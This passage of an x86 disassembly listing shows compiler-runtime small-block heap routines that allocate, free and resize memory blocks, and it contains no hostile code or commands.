loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4E21B4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4E21AC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4E21AC
		mov	eax, dword_4E21B4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4E21B4
		mov	ecx, dword_4E21AC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4E21B4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4E21B4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4E21B4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4E21B4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27B0000h
		mov	eax, dword_4E21B8
		mov	edx, dword_4E21BC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4E21B4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4E21B8
		cmp	eax, dword_4E21B4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4E21BC
		mov	dword_4E21B0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4E21AC, edi
		mov	dword_4E21B4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4E21B8
		mov	edx, dword_4E21BC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4E21B0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4E21B0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4E21B4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4E21AC
		jnz	short loc_41E4C7
		and	dword_4E21B4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4E21B8
		mov	ecx, dword_4E21A8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4E21BC
		push	edi
		push	dword_4E21C4
		nop
		call	near ptr 2870000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4E21A8, 10h
		mov	dword_4E21BC, eax
		mov	eax, dword_4E21B8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4E21BC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4E21C4
		lea	esi, [ecx+eax*4]
		call	near ptr 27C0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28D08BEh
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4E21C4
		call	near ptr 27B0000h
		nop


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4E21B8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28D08BEh
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
